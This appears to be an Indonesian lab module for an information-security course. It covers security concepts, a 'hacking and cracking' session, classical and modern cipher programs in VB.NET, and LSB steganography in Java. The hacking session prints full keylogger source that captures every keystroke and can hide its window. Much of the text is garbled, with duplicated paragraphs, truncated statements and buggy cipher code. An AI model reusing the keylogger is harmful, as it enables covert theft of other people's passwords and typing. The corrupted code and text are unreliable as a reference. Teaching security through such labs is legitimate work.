Modul Praktikum Kemanan SIFO
PERTEMUAN 1 KONSEP KEAMANAN SISTEM INFORMASI
Pada konsep keamanan sistem informasi ini akan dibahas tentang: Aspek Keamanan Sisitem informasi Metodologi Kemananan Sistem Informasi Cara mendeteksi suatu serangan atau kebocoran sistem Langkah Kemanan Sistem Informasi Strategi dan Taktik Keamanan Sistem Informasi ASPEK KEAMANAN SISTEM INFORMASI Authentication : agar penerima informasi dapat memastikan keaslian pesan tersebut
datang dari orang yang dimintai informasi. Integrity : keaslian pesan yang dikirim melalui sebuah jaringan dan dapat dipastikan bahwa informasi yang dikirim tidak dimodifikasi oleh orang yang tidak berhak dalam perjalanan informasi tersebut.
Authority : Informasi yang berada pada sistem jaringan tidak dapat dimodifikasi oleh pihak yang tidak berhak atas akses tersebut. Confidentiality : merupakan usaha untuk menjaga informasi dari orang yang tidak berhak mengakses. Privacy : merupakan lebih ke arah data-data yang sifatnya privat (pribadi). ASPEK ANCAMAN KEAMANAN KOMPUTER ATAU KEAMANAN SISTEM
INFORMASI Interruption : informasi dan data yang ada dalam sistem komputer dirusak dan dihapus sehingga jika dibutuhkan, data atau informasi tersebut tidak ada lagi. Interception : Informasi yang ada disadap atau orang yang tidak berhak mendapatkan akses ke komputer dimana informasi tersebut disimpan. Modifikasi : orang yang tidak berhak berhasil menyadap lalu lintas informasi yang sedang dikirim dan diubah sesuai keinginan orang tersebut. Fabrication : orang yang tidak berhak berhasil meniru suatu informasi yang ada sehingga orang yang menerima informasi tersebut menyangka informasi tersebut berasal dari orang yang dikehendaki oleh si penerima informasi tersebut.
METODOLOGI KEAMANAN SISTEM INFORMASI Keamanan level 0 : keamanan fisik, merupakan keamanan tahap awal dari komputer
security. Jika keamanan fisik tidak terjaga dengan baik, maka data-data bahkan hardware komputer sendiri tidak dapat diamankan.
Keamanan level 1 : terdiri dari database, data security, keamanan dari PC itu sendiri, device, dan application. Contohnya : jika kita ingin database aman, maka kita harus memperhatikan dahulu apakah application yang dipakai untuk membuat desain database tersebut merupakan application yang sudah diakui keamanannya seperti oracle. Selain itu kita harus memperhatikan sisi lain yaitu data security. Data security adalah cara mendesain database tersebut. Device security adalah alat-alat apa yang dipakai supaya keamanan dari komputer terjaga. Computer security adalah keamanan fisik dari orang-orang yang tidak berhak mengakses komputer tempat datadase tersebut disimpan.
Keamanan level 2 : adalah network security. Komputer yang terhubung dengan jaringan sangat rawan dalam masalah keamanan, oleh karena itu keamanan level 2 harus dirancang supaya tidak terjadi kebocoran jaringan, akses ilegal yang dapat merusak keamanan data tersebut.
Keamanan level 3 : adalah information security. Keamanan informasi yang kadang kala tidak begitu dipedulikan oleh administrator seperti memberikan password ke teman, atau menuliskannya dikertas, maka bisa menjadi sesuatu yang fatal jika informasi tersebut diketahui oleh orang yang tidak bertanggung jawab.
Keamanan level 4 : merupakan keamanan secara keseluruhan dari komputer. Jika level 1-3 sudah dapat dikerjakan dengan baik maka otomatis keamanan untuk level 4 sud CARA MENDETEKSI SUATU SERANGAN ATAU KEBOCORAN SISTEM Terdiri dari 4 faktor yang merupakan cara untuk mencegah terjadinya serangan atau
kebocoran sistem :
Desain sistem : desain sistem yang baik tidak meninggalkan celah-celah yang memungkinkan terjadinya penyusupan setelah sistem tersebut siap dijalankan. Aplikasi yang Dipakai : aplikasi yang dipakai sudah diperiksa dengan seksama untuk mengetahui apakah program yang akan dipakai dalam sistem tersebut dapat diakses tanpa harus melalui prosedur yang seharusnya dan apakah aplikasi sudah mendapatkan kepercayaan dari banyak orang.
Manajemen : pada dasarnya untuk membuat suatu sistem yang aman/terjamin tidak lepas dari bagaimana mengelola suatu sistem dengan baik. Dengan demikian persyaratan good practice standard seperti Standard Operating Procedure (SOP) haruslah diterapkan di samping memikirkan hal teknologinya.
Manusia (Administrator) : manusia adalah salah satu fakor yang sangat penting, tetapi sering kali dilupakan dalam pengembangan teknologi informasi dan dan sistem keamanan. Sebagai contoh, penggunaan password yang sulit menyebabkan pengguna malah menuliskannya pada kertas yang ditempelkan di dekat komputer. Oleh karena itu, penyusunan kebijakan keamanan faktor manusia dan budaya setempat haruslah sangat diperhatikan.
LANGKAH KEAMANAN SISTEM INFORMASI Aset : Perlindungan aset merupakan hal yang penting dan merupakan langkah awal dari
berbagai implementasi keamanan komputer. Contohnya: ketika mendesain sebuah website e-commerce yang perlu dipikirkan adalah keamanan konsumen. Konsumen merupakan aset yang penting, seperti pengamanan nama, alamat, ataupun nomor kartu kredit.
Analisis Resiko : adalah tentang identifikasi akan resiko yang mungkin terjadi, sebuah even yang potensial yang bisa mengakibatkan suatu sistem dirugikan. Perlindungan : Kita dapat melindungi jaringan internet dengan pengaturan Internet Firewall yaitu suatu akses yang mengendalikan jaringan internet dan menempatkan web dan FTP server pada suatu server yang sudah dilindungi oleh firewall.
Alat : alat atau tool yang digunakan pada suatu komputer merupakan peran penting dalam hal keamanan karena tool yang digunakan harus benar-benar aman. Prioritas : Jika keamanan jaringan merupakan suatu prioritas, maka suatu organisasi harus membayar harga baik dari segi material maupun non material. Suatu jaringan Alat : alat atau tool yang digunakan pada suatu komputer merupakan peran penting dalam hal keamanan karena tool yang digunakan harus benar-benar aman. Prioritas : Jika keamanan jaringan merupakan suatu prioritas, maka suatu organisasi harus membayar harga baik dari segi material maupun non material. Suatu jaringan
STRATEGI DAN TAKTIK KEAMANAN SISTEM INFORMASI Keamanan fisik : lapisan yang sangat mendasar pada keamanan sistem informasi adalah
keamanan fisik pada komputer. Siapa saja memiliki hak akses ke sistem. Jika hal itu tidak diperhatikan, akan terjadi hal-hal yang tidak dikehendaki.
Kunci Komputer : banyak case PC modern menyertakan atribut penguncian. Biasanya berupa soket pada bagian depan case yang memungkinkan kita memutar kunci yang disertakan ke posisi terkunsi atau tidak.
Keamanan BIOS : BIOS adalah software tingkat terendah yang mengonfigurasi atau memanipulasi hardware. Kita bisa menggunakan BIOS untuk mencegah orang lain me-reboot ulang komputer kita dan memanipulasi sisten komputer kita.
Mendeteksi Gangguan Keamanan Fisik : hal pertama yang harus diperhatikan adalah pada saat komputer akan di-reboot. Oleh karena Sistem Operasi yang kuat dan stabil, saat yang tepat bagi komputer untuk reboot adalah ketika kita meng-upgrade SO, menukar hardware dan sejenisnya.
PERTEMUAN 2 HACKING DAN CRACKING
Disable and enable registry editor
form
Disable dan enable taskmanager
Desain form
Coding form1
Coding module
Keylogger
Form1 desain
Keylogger.vb
Public Class Keylogger Private Declare Function GetAsyncKeyState Lib "user32" ( ByVal vKey As Integer ) As Short Private Declare Function GetKeyState Lib "user32" ( ByVal nVirtKey As Integer ) As Short Dim i As Object
Dim keyPressed As Object Dim charCount As Int32 Dim lineLimit As Int32 = 69
Dim addKey As Object
Public Function getCapslock() As Boolean
'return or set the caps lock toggle getCapslock = CBool (GetKeyState(System.Windows.Forms. Keys .Capital) And 1) End Function
Public Function getShift() As Boolean
'check to see if the shift key is pressed getShift = CBool (GetAsyncKeyState(System.Windows.Forms. Keys .ShiftKey)) End Function Private Sub Form1_Resize( ByVal sender As Object , ByVal e As
System. EventArgs ) Handles Me .Resize
End Sub
Private Sub Keylogger_Load( ByVal sender As System. Object , ByVal e As
System. EventArgs ) Handles MyBase .Load Left = (SystemInformation.WorkingArea.Size.Width - Size.Width) Top = (SystemInformation.WorkingArea.Size.Height - Size.Height) Timer1.Enabled = False
End Sub
Private Sub Timer1_Tick( ByVal sender As System. Object , ByVal e As System. EventArgs ) Handles Timer1.Tick
On Error Resume Next
'check Enter key keyPressed = GetAsyncKeyState(13) If keyPressed = -32767 Then charCount = 0 addKey = vbCrLf
GoTo KeyFound End If
'check for backspace keyPressed = GetAsyncKeyState(8) If keyPressed = -32767 Then addKey = "[bs]" charCount += 4
GoTo KeyFound End If
'check for space bar keyPressed = GetAsyncKeyState(32) If keyPressed = -32767 Then addKey = "" GoTo KeyFound charCount += 1 End If
'check for colon/semicolon keyPressed = GetAsyncKeyState(186) If keyPressed = -32767 Then
If getShift() = False Then
addKey = ";" Else addKey = ":"
End If GoTo KeyFound charCount += 1 End If
'check for =/+ keyPressed = GetAsyncKeyState(187) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "=" Else addKey = "+"
End If GoTo KeyFound charCount += 1 End If
'check for ,/< keyPressed = GetAsyncKeyState(188)
If keyPressed = -32767 Then
If getShift() = False Then
addKey = "," Else addKey = "<"
End If GoTo KeyFound charCount += 1 End If
'check for -/_ keyPressed = GetAsyncKeyState(189) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "-" Else addKey = "_"
End If GoTo KeyFound charCount += 1 End If
'check for ./> keyPressed = GetAsyncKeyState(190) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "." Else addKey = ">"
End If GoTo KeyFound charCount += 1 End If
'check for //? keyPressed = GetAsyncKeyState(191) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "/" Else addKey = "?"
End If GoTo KeyFound charCount += 1 End If
'check for `/~ keyPressed = GetAsyncKeyState(192) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "`" Else addKey = "~"
End If GoTo KeyFound charCount += 1 End If
'check for 0/) keyPressed = GetAsyncKeyState(96) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "0" Else addKey = ")"
End If GoTo KeyFound charCount += 1 End If
'check for 1/! keyPressed = GetAsyncKeyState(97) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "1" Else addKey = "!"
End If GoTo KeyFound charCount += 1 End If
'check for 2/@ keyPressed = GetAsyncKeyState(98) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "2" Else addKey = "@"
End If GoTo KeyFound charCount += 1 End If
'check for 3/# keyPressed = GetAsyncKeyState(99) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "3" Else addKey = "#"
End If GoTo KeyFound charCount += 1 End If
'check for 4/$ keyPressed = GetAsyncKeyState(100) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "4" Else addKey = "$"
End If GoTo KeyFound charCount += 1 End If
'check for 5/% keyPressed = GetAsyncKeyState(101) If keyPressed = -32767 Then
If getShift() = False Then If getShift() = False Then
End If GoTo KeyFound charCount += 1 End If
'check for 6/^ keyPressed = GetAsyncKeyState(102) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "6" Else addKey = "7"
End If GoTo KeyFound charCount += 1 End If
'check for 7/& keyPressed = GetAsyncKeyState(103) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "7" Else addKey = "&"
End If GoTo KeyFound charCount += 1 End If
'check for 8/* keyPressed = GetAsyncKeyState(104) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "8" Else addKey = "*"
End If GoTo KeyFound charCount += 1 End If
'check for 9/( keyPressed = GetAsyncKeyState(105) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "9" Else addKey = "("
End If GoTo KeyFound charCount += 1 End If
'other num/special chars keyPressed = GetAsyncKeyState(106) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "*" addKey = "*"
End If GoTo KeyFound End If
keyPressed = GetAsyncKeyState(107) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "+" Else addKey = "="
End If GoTo KeyFound charCount += 1 End If
keyPressed = GetAsyncKeyState(108) If keyPressed = -32767 Then addKey = "" GoTo KeyFound End If
keyPressed = GetAsyncKeyState(109) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "-" Else addKey = "_"
End If GoTo KeyFound charCount += 1 End If
keyPressed = GetAsyncKeyState(110) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "." Else addKey = ">"
End If GoTo KeyFound charCount += 1 End If
keyPressed = GetAsyncKeyState(111) If keyPressed = -32767 Then addKey = "/" GoTo KeyFound charCount += 1 End If
keyPressed = GetAsyncKeyState(2) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "/" Else addKey = "?"
End If GoTo KeyFound End If GoTo KeyFound
keyPressed = GetAsyncKeyState(220) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "\" Else addKey = "|"
End If GoTo KeyFound charCount += 1 End If
keyPressed = GetAsyncKeyState(222) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "'" Else addKey = Chr(34)
End If GoTo KeyFound charCount += 1 End If
keyPressed = GetAsyncKeyState(221) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "]" Else addKey = "}"
End If GoTo KeyFound charCount += 1 End If
keyPressed = GetAsyncKeyState(219) If keyPressed = -32767 Then
If getShift() = False Then
addKey = "[" Else addKey = "{"
End If GoTo KeyFound charCount += 1 End If
'check for a-z upper and lower case For i = 65 To 128
keyPressed = GetAsyncKeyState(i) If keyPressed = -32767 Then
If getShift() = False Then If getCapslock() = True Then addKey = UCase(Chr(i)) Else addKey = LCase(Chr(i)) End If
Else
If getCapslock() = False Then addKey = UCase(Chr(i)) Else If getCapslock() = False Then addKey = UCase(Chr(i)) Else
End If
Next i
For i = 48 To 57 keyPressed = GetAsyncKeyState(i) If keyPressed = -32767 Then
If getShift() = True Then Select Case Val(Chr(i)) Case 1 addKey = "!" Case 2 addKey = "@" Case 3 addKey = "#" Case 4 addKey = "$" Case 5 addKey = "%" Case 6 addKey = "^" Case 7 addKey = "&" Case 8 addKey = "*" Case 9 addKey = "(" Case 0 addKey = ")" End Select
Else addKey = Chr(i)
End If GoTo KeyFound charCount += 1
End If
Next i
System.Windows.Forms. Application .DoEvents() Exit Sub
'keyfound KeyFound: If charCount > lineLimit Then charCount = 0 TextBox1.AppendText(vbCrLf)
End If
If addKey <> "" Then TextBox1.AppendText(addKey)
System.Windows.Forms. Application .DoEvents()
End Sub
Private Sub Button1_Click( ByVal sender As System. Object , ByVal e As System. EventArgs ) Handles Button1.Click
Timer1.Enabled = True
End Sub
Private Sub Button2_Click( ByVal sender As System. Object , ByVal e As System. EventArgs ) Handles Button2.Click
Timer1.Enabled = False
End Sub
Private Sub Button3_Click( ByVal sender As System. Object , ByVal e As System. EventArgs ) Handles Button3.Click
TextBox1.Clear()
End Sub
Private Sub Button4_Click( ByVal sender As System. Object , ByVal e As System. EventArgs ) Handles Button4.Click
Me .WindowState = FormWindowState .Minimized Me .Hide()
isLock = True
End Sub
Private Sub Button5_Click( ByVal sender As System. Object , ByVal e As System. EventArgs ) Handles Button5.Click
End
End Sub End Class
Modul winAPI.vb
PERTEMUAN 3 KRIPTOGRAFI
Kemudian Desain Form untuk… 1. CAESAR CHIPER :
Berikut Listing Programnya : Public Class Caesar_Chiper Private Sub Btnenkripsi_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnEnkripsi.Click Dim x As String = “”
Dim xkalimat As String = “” For i = 1 To Len(Plainteks.Text)
x = Mid(Plainteks.Text, i, i) x = Chr(Asc(x) + 3) xkalimat = xkalimat + x Next Chiperteks.Text = xkalimat End Sub Private Sub BtnDeskripsi_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnDeskripsi.Click
Dim x As String = “” Dim xkalimat As String = “”
For i = 1 To Len(Chiperteks.Text) x = Mid(Chiperteks.Text, i, i) x = Chr(Asc(x) – 3) xkalimat = xkalimat + x Next Plainteks.Text = xkalimat End Sub Private Sub BtnHapus_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnHapus.Click Plainteks.Text = “” Chiperteks.Text = “” End Sub Private Sub BtnKeluar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnKeluar.Click Me.Close() End Sub End Class Nah Berikut Hasilnya :
2. GRONSFELD CHIPER
Berikut Listing Programnya : Public Class Gronsfeld_Chiper
Private Sub Gronsfeld_Chiper_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Plainteks.Text = “” Chiperteks.Text = “” End Sub Private Sub BtnHitung_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnEnkripsi.Click Dim ind As Integer Dim huruf, kalimat As String Dim jumlah(25) As Integer kalimat = (Plainteks.Text).ToUpper For x = 1 To Microsoft.VisualBasic.Len(kalimat) huruf = kalimat.Substring(x – 1, 1) If (huruf >= “A”) And (huruf <= “Z”) Then ind = Asc(huruf) – 65 jumlah(ind) += 1 End If Next Chiperteks.Text = “” For i As Integer = 0 To 25 huruf = Chr(i + 65) If jumlah(i) > 0 Then
Chiperteks.Text = Chiperteks.Text & huruf & ” = ” & jumlah(i) & vbCrLf End If Next End Sub Private Sub BtnKeluar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnKeluar.Click Me.Close() End Sub Private Sub Key_KeyPress(ByVal sender As Object, ByVal e AsSystem.Windows.Forms.KeyPressEventArgs) Handles Kunci.KeyPress e.KeyChar = UCase(e.KeyChar) Dim tombol As Integer = Asc(e.KeyChar) If Not (((tombol >= 65) And (tombol <= 90)) Or (tombol = 8)) Then e.Handled = True End If End Sub Private Sub BtnHapus_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnHapus.Click Plainteks.Text = “” Chiperteks.Text = “” Kunci.Text = “” End Sub End Class Nah Berikut Hasilnya :
3. VERNAM CHIPER
Berikut Listing Programnya :
Public Class Vernam_Chiper Private Sub Vernam_Chiper_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Plainteks.Text = “” Kunci.Text = “” Chiperteks.Text = “” End Sub Private Sub Btnenkripsi_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnEnkripsi.Click Dim j As Integer Dim jum As Integer Dim sKey As String Dim nKata As Integer Dim nKunci As Integer Dim sKata As String Dim s Plain As String = “” Dim nEnc As Integer j=0 sKata = Plainteks.Text jum = Len(sKata) sKey = Kunci.Text For i = 1 To jum If j = Len(sKey) Then Public Class Vernam_Chiper Private Sub Vernam_Chiper_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Plainteks.Text = “” Kunci.Text = “” Chiperteks.Text = “” End Sub Private Sub Btnenkripsi_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnEnkripsi.Click Dim j As Integer Dim jum As Integer Dim sKey As String Dim nKata As Integer Dim nKunci As Integer Dim sKata As String Dim s Plain As String = “” Dim nEnc As Integer j=0 sKata = Plainteks.Text jum = Len(sKata) sKey = Kunci.Text For i = 1 To jum If j = Len(sKey) Then
nKunci = Asc(Mid(sKey, j, 1)) – 65 nEnc = ((nKata + nKunci) Mod 26)
sPlain = sPlain & Chr((nEnc) + 65) Next i Chiperteks.Text = sPlain End Sub Private Sub Plainteks_KeyPress(ByVal sender As Object, ByVal e AsSystem.Windows.Forms.KeyPressEventArgs) Handles Plainteks.KeyPress e.KeyChar = UCase(e.KeyChar) Dim tombol As Integer = Asc(e.KeyChar) If Not (((tombol >= 65) And (tombol <= 90)) Or (tombol = 8)) Then e.Handled = True End If End Sub Private Sub Kunci_KeyPress(ByVal sender As Object, ByVal e AsSystem.Windows.Forms.KeyPressEventArgs) Handles Kunci.KeyPress e.KeyChar = UCase(e.KeyChar) Dim tombol As Integer = Asc(e.KeyChar) If Not (((tombol >= 65) And (tombol <= 90)) Or (tombol = 8)) Then e.Handled = True End If End Sub Private Sub BtnHapus_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnHapus.Click Plainteks.Text = “” Kunci.Text = “” Chiperteks.Text = “” End Sub End Class
Nah Berikut Hasilnya :
4. VIGENERE CHIPER
Berikut Listing Programnya :
Public Class Vigenere_Chiper
Private Sub Vigenere_Chiper_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Plainteks.Text = “” Chiperteks.Text = “” Kunci.Text = “” End Sub Private Sub BtnEnkripsi_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnEnkripsi.Click Dim J As Integer Dim Jum As Integer Dim sKey As String Dim nKata As Integer Dim nKunci As Integer Dim sKata As String
Dim sPlain As String = “” Dim nEnc As Integer
J=0 sKata = Plainteks.Text Jum = Len(sKata) sKey = Kunci.Text For i = 1 To Jum If J = Len(sKey) Then
J=1 Else J=J+1 End If nKata = Asc(Mid(sKata, i, 1)) + 0 nKunci = Asc(Mid(sKey, J, 1)) + 0 nEnc = ((nKata + nKunci) Mod 256) sPlain = sPlain & Chr((nEnc)) Next i Chiperteks.Text = sPlain End Sub Private Sub Plainteks_KeyPress(ByVal sender As Object, ByVal e AsSystem.Windows.Forms.KeyPressEventArgs) Handles Plainteks.KeyPress Dim tombol As Integer = Asc(e.KeyChar) If Not (((tombol >= 65) And (tombol <= 90)) Or (tombol = 8)) Then e.Handled = True End If End Sub Private Sub Kunci_KeyPress(ByVal sender As Object, ByVal e AsSystem.Windows.Forms.KeyPressEventArgs) Handles Kunci.KeyPress e.KeyChar = UCase(e.KeyChar) Dim tombol As Integer = Asc(e.KeyChar) If Not (((tombol >= 65) And (tombol <= 90)) Or (tombol = 8)) Then e.Handled = True End If End Sub Private Sub BtnHapus_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnHapus.Click Plainteks.Text = “” Chiperteks.Text = “” Kunci.Text = “” End Sub End Class
Berikut Hasilnya :
5. DES CHIPER
Berikut Listing Programnya :
Imports System.IO Imports System.Security.Cryptography Imports System.Text Public Class DES_Chiper Private Sub BtnEnkripsi_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnEnkripsi.Click
Plainteks.Text = “abcdef” Dim enc As Encoder = System.Text.Encoding.Unicode.GetEncoder() Dim unicodeText As Byte() unicodeText = DirectCast(Array.CreateInstance(GetType(Byte), Plainteks.Text.Length * 2), Byte()) enc.GetBytes(Plainteks.Text.ToCharArray(), 0, Plainteks.Text.Length, unicodeText, 0, True) Dim objmd5 As MD5 = New MD5CryptoService Provider „ Untuk enkripsi MD5 „Dim objmd5 As MD5 = New SHA1CryptoServiceProvider() „ Untuk enkripsi SHA1 „Dim objmd5 As MD5 = New DESCryptoServiceProvider() „ Untuk enkripsi DES „Dim objmd5 As MD5 = New RSACryptoServiceProvider „ Untuk enkripsi RSA
Dim result As Byte() = objmd5.ComputeHash(unicodeText) Dim sb As StringBuilder = New StringBuilder() Dim i As Integer For i = 0 To result.Length –1 sb.Append(result(i).ToString(“X2”))
Next Chiperteks.Text = sb.ToString()
„Anda dapat mengganti “abcdef” dengan kata yang anda butuhkan, dan menggunakan tipe enkripsi yang lain yang anda inginkan dengan mengaktifkan baris berikut : „Dim objmd5 As MD5 = New MD5CryptoServiceProvider „ Untuk enkripsi MD5
„Dim objmd5 As MD5 = New SHA1CryptoServiceProvider() „ Untuk enkripsi SHA1 „Dim objmd5 As MD5 = New DESCryptoServiceProvider() „ Untuk enkripsi DES „Dim objmd5 As MD5 = New RSACryptoServiceProvider „ Untuk enkripsi RSA
End Sub Private Sub BtnHapus_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnHapus.Click Plainteks.Text = “” Chiperteks.Text = “” End Sub End Class
Berikut Hasilnya :
6. RC4
Berikut Listing Programnya :
Public Class RC4
Private Function Rc4(ByVal message As String, ByVal password As String) As String Dim s = Enumerable.Range(0, 256).ToArray Dim i, j As Integer For i = 0 To s.Length –1 j = (j + Asc(password(i Mod password.Length)) + s(i)) And 255 Dim temp = s(i) Private Function Rc4(ByVal message As String, ByVal password As String) As String Dim s = Enumerable.Range(0, 256).ToArray Dim i, j As Integer For i = 0 To s.Length –1 j = (j + Asc(password(i Mod password.Length)) + s(i)) And 255 Dim temp = s(i)
i = (i + 1) And 255 j = (j + s(i)) And 255 Dim temp = s(i) s(i) = s(j) s(j) = temp sb.Append(Chr(s((s(i) + s(j)) And 255) Xor Asc(c))) Next Return sb.ToString End Function Private Sub BtnEnkript_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnEnkripsi.Click Chiperteks.Text = Rc4(Plainteks.Text, Kunci.Text) End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnHapus.Click Plainteks.Text = “” Kunci.Text = “” Chiperteks.Text = “” End Sub End Class
Berikut Hasilnya :
Berikut Listing Program agar dapat dijalankan di Form Menu :
Public Class Form1
Private Sub CaesarChiperToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CaesarChiperToolStripMenuItem.Click Caesar_Chiper.Show() End Sub Private Sub GronsfeldChiperToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GronsfeldChiperToolStripMenuItem.Click Gronsfeld_Chiper.Show() End Sub
Private Sub RC4ToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RC4ToolStripMenuItem.Click RC4.Show() End Sub
Private Sub VernamChiperToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VernamChiperToolStripMenuItem.Click Vernam_Chiper.Show() End Sub Private Sub VigenereChiperToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VigenereChiperToolStripMenuItem.Click Vigenere_Chiper.Show() End Sub Private Sub DESChiperToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DESChiperToolStripMenuItem.Click
DES_Chiper.Show() End Sub End Class
PERTEMUAN 4 TEKNIK DASAR KRIPTOGRAFI
Teknik Dasar Kriptografi Terbagi 5 Jenis, yaitu :
Lanjut Ke penjelasan Dan Contohnya :
1. SUBSTITUSI
Dalam kriptografi, sandi substitusi adalah jenis metode enkripsi dimana setiap satuan pada teks terang digantikan oleh teks tersandi dengan sistem yang teratur. Metode penyandian substitusi telah dipakai dari zaman dulu (kriptografi klasik) hingga kini (kriptografi modern),
Langkah pertama adalah membuat suatu tabel substitusi. Tabel substitusi dapat dibuat sesuka hati, dengan catatan bahwa penerima pesan memiliki tabel yang sama untuk keperluan decrypt. Bila tabel substitusi dibuat secara acak, akan semakin sulit pemecahanciphertext oleh orang yang tidak berhak.
Metode ini dilakukan dengan mengganti setiap huruf dari teks asli dengan huruf lain sebagai huruf sandi yang telah didefinisikan sebelumnya oleh algoritma kunci.
Contoh: Metode Penyandian Substitusi Sederhana
2. BLOCKING Sistem enkripsi ini terkadang membagi plaintext menjadi beberapa blok yang terdiri dari beberapa karakter, kemudian di enkripsikan secara independen.
Caranya :
Plaintext dituliskan secara vertikal ke bawah berurutan pada lajur, dan dilanjutkan pada kolom berikutnya sampai seluruhnya tertulis. Ciphertext-nya adalah hasil pembacaan plaintext secara horizontal berurutan sesuai dengan blok-nya.
Contoh :
3. PERMUTASI Salah satu teknik enkripsi yang terpenting adalah permutasi atau sering juga disebut transposisi. Teknik ini memindahkan atau merotasikan karakter dengan aturan tertentu. Prinsipnya adalah berlawanan dengan teknik substitusi. Dalam teknik substitusi, karakter berada pada posisi yang tetap tapi identitasnya yang diacak. Pada teknik permutasi, identitas karakternya tetap, namun posisinya yang diacak.
Caranya Sebelum dilakukan permutasi, umumnya plaintext terlebih dahulu dibagi menjadi blok-
blok dengan panjang yang sama. Plaintext akan dibagi menjadi blok-blok yang terdiri dari 6 karakter, dengan aturan permutasi, sebagai berikut :
4. EKSPANSI Suatu metode sederhana untuk mengacak pesan adalah dengan memelarkan pesan itu dengan aturan tertentu. Salah satu contoh penggunaan teknik ini adalah dengan meletakkan huruf konsonan atau bilangan ganjil yang menjadi awal dari suatu kata 4. EKSPANSI Suatu metode sederhana untuk mengacak pesan adalah dengan memelarkan pesan itu dengan aturan tertentu. Salah satu contoh penggunaan teknik ini adalah dengan meletakkan huruf konsonan atau bilangan ganjil yang menjadi awal dari suatu kata
Contoh :
5. PEMAMPATAN Mengurangi panjang pesan atau jumlah bloknya dengan cara lain untuk menyembunyikan isi pesan. Contoh sederhana ini menggunakan cara menghilangkan setiap karakter ke-tiga secara
berurutan. Karakter-karakter yang dihilangkan disatukan kembali dan disusulkan sebagai “lampiran” dari pesan utama, dengan diawali oleh suatu karakter khusus,
dalam contoh ini menggunakan ” * “.
PERTEMUAN 5 WATERMARKING DAN STEGANOGRAPHY
Steganografi menggunakan Least Significant Bit (LSB) pada Java
Steganografi merupakan tehnik atau salah satu metode menyembunyikan pesan pada suatu media berupa gambar, audio maupun video sehingga pesan tersebut tidak dapat dibaca oleh pihak lain selain pemberi dan penerima pesan. Steganography berasal dari bahasa yunani yaitu steganos yang berarti tersembunyi dan graphein yang berarti menulis. Sedangkan cryptografi merupakan tehnik menyamarkan pesan dengan cara mengacak atau merubahnya kedalam bentuk tertentu.
Adapun media-media yang dapat dipakai dalam menyembunyikan pesan (steganografi) adalah:
Format image : bitmap (bmp), gif, pcx, jpeg, dll.
Format audio : wav, voc, mp3, dll.
Format video : avi, mpeg dll
Format lain : teks file, html, pdf, dll. Sedangkan metode steganografi terdiri dari:
Least Significant Bit (LSB)
Algorithem and Transformation
Redundant Pattren Encoding
Spread Spectrum Methode
Steganalisis and Stegosystem Pesan yang tersimpan pada sebuah media penympanan sebelum disimpan atau disembunyikan dapat di encrypt terlebih dahulu menggunakan algoritma encryption seperti ciphertext viginare, ciphertext caisar, MD5, RSA dll. Sehingga pesan menjadi benar-benar rahasia karena menggabungkan kedua metode yaitu Cryptografi dan Steganografi. Pada kesempatan kali ini, sedikit akan mengulas mengenai bagaimana menyembunyikan pesan atau Steganografi menggunakan Least Significant Bit (LSB) dengan metode encripsi menggunakan algoritma Ciphertext Viginare pada media penyimpanan berupa gambar / image. Bahasa pemrograman yang digunakan kali ini adalah menggunakan bahasa pemrograman Java.
OK langsung aja berikut penjelasan singkat mengenai Steganografi Menggunakan Least significant Bit (LSB):
1. Class Image_Filter.java Class ini digunakan untuk menyaring media penyimpanan yang akan dipakai,
dalam hal ini gambar yang dapat digunakan adalah gambar yang berextensi .jpg dan .png
Source Code :
01 package stegano.gun;
03 /* *Import List
05 import java.io.*;
08 *Image_Filter Class
09 */ public class Image_Filter extends javax.swing.filechooser.FileFilter
12 protected boolean isImageFile(String ext)
